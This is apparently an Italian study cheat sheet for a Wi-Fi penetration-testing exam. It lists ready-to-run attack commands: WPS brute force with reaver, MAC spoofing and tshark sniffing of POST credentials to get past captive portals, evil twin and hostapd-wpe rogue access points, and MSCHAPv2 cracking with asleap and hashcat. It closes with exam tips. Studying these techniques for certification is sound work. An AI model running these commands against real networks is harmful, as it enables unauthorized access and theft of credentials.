WPS Attack sudo reaver -i wlan0mon -b <BSSID> -c <CH> -vv
Captive Portal — MAC spoof sudo macchanger -m <CLIENT_MAC> wlan0
Captive Portal — sniff credenziali tshark -r <file>.cap -Y "http.request.method == POST" -T fields -e http.file_data
Captive Portal — decodifica hex echo "<hex>" \| xxd -r -p
Evil Twin sudo airbase-ng -e <ESSID> -c <CH> wlan0mon
Rogue AP Enterprise sudo hostapd-wpe hostapd-wpe.conf
Crack MSCHAPv2 (asleap, PRIMARIO) sudo asleap -C <CHALLENGE> -R <RESPONSE> -W /usr/share/wordlists/rockyou.txt
Crack MSCHAPv2 (Hashcat, opzionale) sudo hashcat -m 5500 hash.txt /usr/share/wordlists/rockyou.txt
Spoof MAC sudo ip link set wlan0 down && sudo ip link set wlan0 address <NEW_MAC> && sudo ip link set wlan0 up
Connessione sudo wpa_supplicant -B -i wlan0 -c wpa_supplicant.conf
sudo dhclient wlan0
Prova Finale curl http://192.168.1.1/proof.txt

SUGGERIMENTI PER L'ESAME

  1. Leggi il MAC all'inizio e testa l'injection (aireplay-ng -9) prima di fidarti dell'interfaccia.
  2. Verifica hashcat -I e which dhclient prima dell'esame: se mancano, pianifica di usare aircrack-ng/asleap/nmcli come metodo primario, non scoprirlo a metà scenario.
  3. Usa più terminali: uno per airodump-ng, uno per aireplay-ng, uno per il cracking — ma mai due processi aireplay/airodump mirati sulla stessa interfaccia contemporaneamente.
  4. Blocca il canale sempre quando attacchi un target specifico.
  5. Per le reti OPN, non dare per scontato il tipo di captive portal: prova sempre prima l'associazione diretta (STEP 0 della sezione 2.5) per capire se ti serve MAC spoofing o sniffing delle credenziali, prima di lanciarti in una delle due tecniche a caso.
  6. Documenta tutto: comando, output, screenshot.
  7. Gestisci il tempo: 3h45m per gli scenari — inizia da quello più semplice.
  8. Verifica il proof.txt prima di passare allo scenario successivo.
  9. Vietati strumenti automatici: wifite, wifiphisher, besside-ng.
  10. Prima dell'esame verifica che tutti i tool citati siano effettivamente installati, che rockyou.txt sia decompresso, e che hashcat abbia un device utilizzabile (o accetta fin da subito di fare affidamento su aircrack-ng/asleap).
  11. Se qualcosa non funziona, ripeti da capo: spesso è solo timing/interfaccia sbagliata.
  12. Conserva tutti i file di cattura (.cap, .hc22000, log hostapd-wpe) come prova.